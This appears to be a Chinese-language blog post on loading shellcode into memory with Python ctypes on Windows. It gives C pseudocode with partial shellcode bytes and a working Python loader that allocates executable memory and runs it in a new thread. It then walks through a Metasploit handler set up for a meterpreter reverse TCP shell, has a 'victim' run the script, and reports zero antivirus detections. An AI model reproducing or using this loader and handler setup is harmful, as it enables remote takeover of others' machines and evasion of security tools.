Python内存加载shellcode

2020-04-26 15:16:34 浏览数 (1)

0x00:原理

大部分脚本语言加载 shellcode 其实都是通过 c 的 ffi 去调用操作系统的api,其实并没有太多的技巧在里面,明白了原理,只需要查一下对应的脚本语言怎么调用 c 即可.

那么我们只需要明白 c 通常是怎么加载 shellcode 的即可一通百通.

那么 c 是怎么加载 shellcode 呢,我们直接从汇编开始探究.

shellcode 这个东西我们明白是一串可执行的二进制(一般可执行文件的拥有可执行权限的section为.text),那么我们先通过其他的手段开辟一片拥有可读可写可执行权限的区域放入我们的 shellcode,然后跳转到 shellcode 首地址去执行就行了,汇编里面改变eip(即当前指令的下一条即将运行指令的虚拟地址)的方法有不少,最简单的就是直接 jmp 过去了.也就是写成伪码

大概意思就是

代码语言:javascript复制
lea eax, shellcode;
jmp eax;

那么我们用 c 怎么表示呢?

这里也写一段伪码(因为本文的重点并不是在于 c 代码的编写)

那么按照刚才的思路,先申请一块可执行的内存,放入 shellcode 然后跳转过去执行即可.

代码语言:javascript复制
// shellcode
unsigned char shellcode[] =
    "xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9" 
    "x64x8bx71x30x8bx76x0cx8bx76x1cx8bx46x08"  
    "x8bx7ex20x8bx36x38x4fx18x75xf3x59x01xd1"  
    ...;
// 定义一个函数类型
typedef void (__stdcall *CODE) ();
// 申请内存
PVOID p = NULL;  
p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 把shellcode放入内存
memcpy(p, shellcode, sizeof(shellcode));

CODE code =(CODE)p;

code();

并没有写出一个可用的 c 加载 shellcode,只是旨在点出一下流程,然后引出后面的 python 加载 shellcode,上面我们先申请了一块带有可读可写可执行权限的内存,然后把 shellcode 放进去,然后我们强转为一个函数类型指针,最后调用这个函数,达到了我们的目的。

0x01:Python实现

前面说过,大部分脚本语言加载 shellcode 都是调用的c的ffi,那么我们直接按照之前的思路来就行了.

代码语言:javascript复制
import ctypes
#(kali生成payload存放位置)
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

注意:其中的的每个 c_uint64,这个类型在64位上是必要的,我们需要手动指定 argtypes 和 restype,否则默认的是 32 位整型。

代码里面加了注释,我们可以看到,基本思路也是一样的,先分配一块可读可写可执行代码的内存,在代码中使用的是

代码语言:javascript复制
0x40(PAGE_EXECUTE_READWRITE)和 0x3000 ( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE)

然后把 shellcode 塞进去,跳过去运行.

0x02:演示过程

一、MSF生成Payload

把生成的Payload放进上面的代码中

例子

二、msf运行并开启监听

代码语言:javascript复制
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 192.168.1.13
set LPORT 666
exploit

三、受害者运行脚本

获取到shell

四、在线查杀

https://r.virscan.org/language/zh-cn/report/5f75df969a7250364579f48d6d56ebcd

结果(0/49)

文章分析原理来自作者:Akkuman

https://www.cnblogs.com/Akkuman/p/11851057.html

0 人点赞